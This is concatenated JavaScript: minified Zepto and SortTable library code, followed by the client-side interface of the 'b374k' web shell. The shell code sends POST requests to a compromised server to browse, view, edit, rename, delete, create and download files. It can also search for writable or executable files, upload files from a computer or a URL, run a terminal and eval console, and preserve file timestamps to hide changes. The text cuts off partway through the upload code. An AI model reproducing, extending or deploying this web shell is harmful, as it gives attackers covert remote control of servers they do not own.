d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)


/**
*
* SortTable
* version 2
* 7th April 2007
* Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
*
**/
var h=!0,j=!1;
sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/sortable/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/sortbottom/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/sorttable_nosort/)){(mtch=headrow[b].className.match(/sorttable_([a-z0-9]+)/))&&
(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/sorttable_sorted/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",
sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/sorttable_sorted_reverse/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,
function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=
"&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[$]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=
a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};

var loading_count = 0;
var running = false;
var defaultTab = 'explorer';
var currentTab = $('#'+defaultTab);
var tabScroll = new Object;
var onDrag = false;
var onScroll = false;
var scrollDelta = 1;
var scrollCounter = 0;
var scrollSpeed = 60;
var scrollTimer = '';
var dragX = '';
var dragY = '';
var dragDeltaX = '';
var dragDeltaY = '';
var editSuccess = '';
var terminalHistory = new Array();
var terminalHistoryPos = 0;
var evalSupported = "";
var evalReady = false;
var resizeTimer = '';
var portableWidth = 700;
var portableMode = null;

Zepto(function($){
	if(init_shell){
		var now = new Date();
		output("started @ "+ now.toGMTString());
		output("cwd : "+get_cwd());
		output("module : "+module_to_load);

		show_tab();
		xpl_bind();
		eval_init();
		
		window_resize();
		
		xpl_update_status();
		
		$(window).on('resize', function(e){
			clearTimeout(resizeTimer);
			resizeTimer = setTimeout("window_resize()", 1000);
		});

		$('.menuitem').on('click', function(e){
			selectedTab = $(this).attr('href').substr(2);
			show_tab(selectedTab);
		});

		$('#logout').on('click', function(e){
			var cookie = document.cookie.split(';');
			for(var i=0; i<cookie.length; i++){
				var entries = cookie[i], entry = entries.split("="), name = entry[0];
				document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
			}
			localStorage.clear();
			location.href = targeturl;
		});

		$('#totop').on('click', function(e){
			$(window).scrollTop(0);
		});
		$('#totop').on('mouseover', function(e){
			onScroll = true;
			clearTimeout(scrollTimer);
			start_scroll('top');
		});
		$('#totop').on('mouseout', function(e){
			onScroll = false;
			scrollCounter = 0;
		});
		$('#tobottom').on('click', function(e){
			$(window).scrollTop($(document).height()-$(window).height());
		});
		$('#tobottom').on('mouseover', function(e){
			onScroll = true;
			clearTimeout(scrollTimer);
			start_scroll('bottom');
		});
		$('#tobottom').on('mouseout', function(e){
			onScroll = false;
			scrollCounter = 0;
		});
		$('#basicInfo').on('mouseenter', function(e){
			$('#toggleBasicInfo').show();
		});
		$('#basicInfo').on('mouseleave', function(e){
			$('#toggleBasicInfo').hide();
		});
		$('#toggleBasicInfo').on('click', function(e){
			$('#basicInfo').hide();
			$('#showinfo').show();
			$('#toggleBasicInfo').hide();
			localStorage.setItem('infoBarShown', 'hidden');
		});
		$('#showinfo').on('click', function(e){
			$('#basicInfo').show();
			$('#showinfo').hide();
			localStorage.setItem('infoBarShown', 'shown');
		});
		
		if((infoBarShown = localStorage.getItem('infoBarShown'))){
			if(infoBarShown=='shown'){
				$('#basicInfo').show();
				$('#showinfo').hide();
			}
			else{
				$('#basicInfo').hide();
				$('#showinfo').show();
				$('#toggleBasicInfo').hide();
			}
		}
		else{
			info_refresh();
		}

		if(history.pushState){
			window.onpopstate = function(event) { refresh_tab(); };
		}
		else{
			window.historyEvent = function(event) {	refresh_tab(); };
		}
	}
});

function output(str){
	console.log('b374k> '+str);
}

function window_resize(){
	bodyWidth = $('body').width();
	if(bodyWidth<=portableWidth){
		layout_portable();
	}
	else{
		layout_normal();
	}
}

function layout_portable(){
	nav = $('#nav');
	menu = $('#menu');
	headerNav = $('#headerNav');
	content = $('#content');

	//nav.hide();
	nav.prependTo('#content');
	nav.css('padding','5px 8px');
	nav.css('margin-top', '8px');
	nav.css('display','block');
	nav.addClass('border');
	
	menu.children().css('width', '100%');
	menu.hide();
	$('#menuButton').remove();	
	headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
	menu.attr('onclick', "\$('#menu').hide();");
	
	$('#xplTable tr>:nth-child(4)').hide();
	$('#xplTable tr>:nth-child(5)').hide();
	if(!win){
		$('#xplTable tr>:nth-child(6)').hide();
	}
	
	tblfoot = $('#xplTable tfoot td:last-child');
	if(tblfoot[0]) tblfoot[0].colSpan = 1;
	if(tblfoot[1]) tblfoot[1].colSpan = 2;
	
	
	$('.box').css('width', '100%');
	$('.box').css('height', '100%');
	$('.box').css('left', '0px');
	$('.box').css('top', '0px');
		
	paddingTop = $('#header').height();
	content.css('padding-top', paddingTop+'px');
	
	portableMode = true;
}

function layout_normal(){	
	nav = $('#nav');
	menu = $('#menu');	
	content = $('#content');

	nav.insertAfter('#b374k');
	nav.css('padding','0');
	nav.css('margin-top', '0');
	nav.css('display','inline');
	nav.removeClass('border');
	
	menu.children().css('width', 'auto');
	menu.show();
	$('#menuButton').remove();
	menu.attr('onclick', "");
	
	$('#xplTable tr>:nth-child(4)').show();
	$('#xplTable tr>:nth-child(5)').show();
	if(!win){
		$('#xplTable tr>:nth-child(6)').show();
		colspan = 4;
	}
	else colspan = 3;
	
	tblfoot = $('#xplTable tfoot td:last-child');
	if(tblfoot[0]) tblfoot[0].colSpan = colspan;
	if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;

	paddingTop = $('#header').height();
	content.css('padding-top', paddingTop+'px');
	
	portableMode = false;
}

function start_scroll(str){
	if(str=='top'){
		to = $(window).scrollTop() - scrollCounter;
		scrollCounter = scrollDelta + scrollCounter;
		if(to<=0){
			to = 0;
			onScroll = false;
		}
		else if(onScroll){
			scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
			$(window).scrollTop(to);
		}
	}
	else if(str=='bottom'){
		to = $(window).scrollTop() + scrollCounter;
		scrollCounter = scrollDelta + scrollCounter;
		bottom = $(document).height()-$(window).height();
		if(to>=bottom){
			to = bottom;
			onScroll = false;
		}
		else if(onScroll){
			scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
			$(window).scrollTop(to);
		}
	}
}

function get_cwd(){
	return decodeURIComponent(get_cookie('cwd'));
}

function fix_tabchar(el, e){
	if(e.keyCode==9){
		e.preventDefault();
		var s = el.selectionStart;
		el.value = el.value.substring(0,el.selectionStart) + "	" + el.value.substring(el.selectionEnd);
		el.selectionEnd = s+1;
	}
}

function get_cookie(key){
	var res;
	return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
}

function set_cookie(key, value){
	document.cookie = key + '=' + encodeURIComponent(value);
}

function html_safe(str){
	if(typeof(str) == "string"){
		str = str.replace(/&/g, "&amp;");
		str = str.replace(/"/g, "&quot;");
		str = str.replace(/'/g, "&#039;");
		str = str.replace(/</g, "&lt;");
		str = str.replace(/>/g, "&gt;");
	}
	return str;
}

function ucfirst(str){
	return str.charAt(0).toUpperCase() + str.slice(1);
}

function time(){
	var d = new Date();
	return d.getTime();
}

function send_post(targetdata, callback, loading){
	if(loading==null) loading_start();
	$.ajax({
		url: targeturl,
		type: 'POST',
		data: targetdata,
		success: function(res){
			callback(res);
			if(loading==null) loading_stop();
		},
		error: function(){ if(loading==null) loading_stop(); }
	});
}

function loading_start(){
	if(!running){
		$('#overlay').show();
		running = true;
		loading_loop();
	}
}

function loading_loop(){
	if(running){
		img = $('#loading');
		img.css('transform', 'rotate('+loading_count+'deg)');
		img.css('-ms-transform', 'rotate('+loading_count+'deg)');
		img.css('-webkit-transform', 'rotate('+loading_count+'deg)');

		loading_count+=7;
		if(loading_count>360) loading_count = 0;
		if(running) setTimeout("loading_loop()",20);
	}
}

function loading_stop(){
	if(running){
		img = $('#loading');
		img.css('transform', 'rotate(0deg)');
		img.css('-ms-transform', 'rotate(0deg)');
		img.css('-webkit-transform', 'rotate(0deg)');

		$('#overlay').hide();
		running = false;
	}
}

function show_tab(id){
	if(!id){
		if(location.hash!='') id = location.hash.substr(2);
		else id = defaultTab;
	}
	refresh_tab(id);
}

function refresh_tab(id){
	if(!id){
		if(location.hash!='') id = location.hash.substr(2);
		else id = defaultTab;
	}
	$('.menuitemSelected').removeClass("menuitemSelected");
	$('#menu'+id).addClass("menuitemSelected");

	tabScroll[currentTab.attr('id')] = $(window).scrollTop();
	currentTab.hide();
	currentTab = $('#'+id);
	currentTab.show();
	window[id]();
	if(tabScroll[id]){
		$(window).scrollTop(tabScroll[id]);
	}
	hide_box();
}

function trap_enter(e, callback){
	if(e.keyCode==13){
		if(callback!=null) window[callback]();
	}
}

function show_box(title, content){
	onDrag = false;
	hide_box();
	box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";
	$('#content').append(box);

	box_width = $('.box').width();
	body_width = $('body').width();

	box_height = $('.box').height();
	body_height = $('body').height();

	x = (body_width - box_width)/2;
	y = (body_height - box_height)/2;
	if(x<0 || portableMode) x = 0;
	if(y<0 || portableMode) y = 0;
	if(portableMode){
		$('.box').css('width', '100%');
		$('.box').css('height', '100%');	
	}

	$('.box').css('left', x+'px');
	$('.box').css('top', y+'px');

	$('.boxclose').on('click', function(e){
		hide_box();
	});
	
	if(!portableMode){
		$('.boxtitle').on('click', function(e){
			if(!onDrag){
				dragDeltaX = e.pageX - parseInt($('.box').css('left'));
				dragDeltaY = e.pageY - parseInt($('.box').css('top'));
				drag_start();
			}
			else drag_stop();
		});
	}

	$(document).off('keyup');
	$(document).on('keyup', function(e){
		if(e.keyCode == 27) hide_box();
	});

	if($('.box input')[0]) $('.box input')[0].focus();
}

function hide_box(){
	$(document).off('keyup');
	$('.box').remove();
}

function drag_start(){
	if(!onDrag){
		onDrag = true;
		$('body').off('mousemove');
		$('body').on('mousemove', function(e){
			dragX = e.pageX;
			dragY = e.pageY;
		});
		setTimeout('drag_loop()',50);
	}
}

function drag_loop(){
	if(onDrag){
		x = dragX - dragDeltaX;
		y = dragY - dragDeltaY;
		if(y<0)y=0;
		$('.box').css('left', x+'px');
		$('.box').css('top', y+'px');
		setTimeout('drag_loop()',50);
	}
}

function drag_stop(){
	onDrag = false;
	$('body').off('mousemove');
}

function get_all_cbox_selected(id, callback){
	var buffer = new Array();
	$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
		if((href = window[callback]($(this)))){
			buffer[i] = href;
		}
	});
	return buffer;
}


function cbox_bind(id, callback){
	$('#'+id).find('.cBox').off('click');
	$('#'+id).find('.cBoxAll').off('click');

	$('#'+id).find('.cBox').on('click', function(e){
		if($(this).hasClass('cBoxSelected')){
			$(this).removeClass('cBoxSelected');
		}
		else $(this).addClass('cBoxSelected');
		if(callback!=null) window[callback]();
	});
	$('#'+id).find('.cBoxAll').on('click', function(e){
		if($(this).hasClass('cBoxSelected')){
			$('#'+id).find('.cBox').removeClass('cBoxSelected');
			$('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
		}
		else{
			$('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
			$('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
		}
		if(callback!=null) window[callback]();
	});
}


function action(path, type){
	title = "Action";
	content = '';
	if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";
	if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";
	if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";
	show_box(title, content);
	xpl_bind();
}

function navigate(path, showfiles){
	if(showfiles==null) showfiles = 'true';
	send_post({ cd:path, showfiles:showfiles }, function(res){
		if(res!='error'){
			splits = res.split('{[|b374k|]}');
			if(splits.length==3){
				$('#nav').html(splits[1]);
				if(showfiles=='true'){
					$('#explorer').html('');
					$('#explorer').html(splits[2]);
					sorttable.k($('#xplTable').get(0));
				}
				$('#terminalCwd').html(html_safe(get_cwd())+'&gt;');
				xpl_bind();
				window_resize();
			}
		}
	});
}

function view(path, type, preserveTimestamp){
	if(preserveTimestamp==null) preserveTimestamp = 'true';
	send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
		if(res!='error'){
			$('#explorer').html('');
			$('#explorer').html(res);
			xpl_bind();
			show_tab('explorer');
			if((type=='edit')||(type=='hex')){
				editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
				if(editSuccess=='success'){
					editResult.html(' ( File saved )');
				}
				else if(editSuccess=='error'){
					editResult.html(' ( Failed to save file )');
				}
				editSuccess = '';
			}
			cbox_bind('editTbl');
		}
	});
}

function view_entry(el){
	if($(el).attr('data-path')!=''){
		entry = $(el).attr('data-path');
		$('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");
		$('#form').submit();
		$('#form').html('');
	}
}

function ren(path){
	title = "Rename";
	content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";
	show_box(title, content);
}

function ren_go(){
	renameFile = $('.renameFile').val();
	renameFileTo = $('.renameFileTo').val();
	send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
		if(res!='error'){
			navigate(res);
			$('.boxresult').html('Operation(s) succeeded');
			$('.renameFile').val($('.renameFileTo').val());
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function newfolder(path){
	title = "New Folder";
	path = path + 'newfolder-' + time();
	content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";
	show_box(title, content);
}

function newfolder_go(){
	newFolder = $('.newFolder').val();
	send_post({newFolder:newFolder}, function(res){
		if(res!='error'){
			navigate(res);
			$('.boxresult').html('Operation(s) succeeded');
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function newfile(path){
	title = "New File";
	path = path + 'newfile-' + time();
	content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";
	show_box(title, content);
}

function newfile_go(){
	newFile = $('.newFile').val();
	send_post({newFile:newFile}, function(res){
		if(res!='error'){
			view(newFile, 'edit');
			$('.boxresult').html('Operation(s) succeeded');
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function viewfileorfolder(){
	title = "View File / Folder";
	content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";
	show_box(title, content);
}

function viewfileorfolder_go(){
	entry = $('.viewFileorFolder').val();
	send_post({viewFileorFolder:entry}, function(res){
		if(res!='error'){
			if(res=='file'){
				view(entry, 'auto');
				show_tab('explorer');
			}
			else if(res=='folder'){
				navigate(entry);
				show_tab('explorer');
			}
		}
	});
}

function del(path){
	title = "Delete";
	content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";
	show_box(title, content);
}

function delete_go(){
	path = $('.delete').val();
	send_post({delete:path}, function(res){
		if(res!='error'){
			navigate(res);
			$('.boxresult').html('Operation(s) succeeded');
		}
		else $('.boxresult').html('Operation(s) failed');
	});
}

function find(path){
	findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
	findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
	$('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
	cbox_bind('xplUpload');
}

function find_go_file(){
	find_go('file');
}

function find_go_folder(){
	find_go('folder');
}

function find_go(findType){
	findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
	findResult = (findType=='file')? $('.findfileResult'):$('.findResult');

	findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
	findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
	findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();

	findContent = (findType=='file')? $('.findfileContains').val():"";
	findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
	findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";

	findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
	findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
	findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();

	send_post(
		{
			findType:findType,
			findPath:findPath,
			findName:findName,
			findNameRegex:findNameRegex,
			findNameInsensitive:findNameInsensitive,
			findContent:findContent,
			findContentRegex:findContentRegex,
			findContentInsensitive:findContentInsensitive,
			findReadable:findReadable,
			findWritable:findWritable,
			findExecutable:findExecutable
		},
		function(res){
			if(res!='error'){
				findResult.html(res);
			}
		}
	);
}

function ul_go_comp(){
	ul_go('comp');
}

function ul_go_url(){
	ul_go('url');
}

function ul(path){
	ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";
	ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";
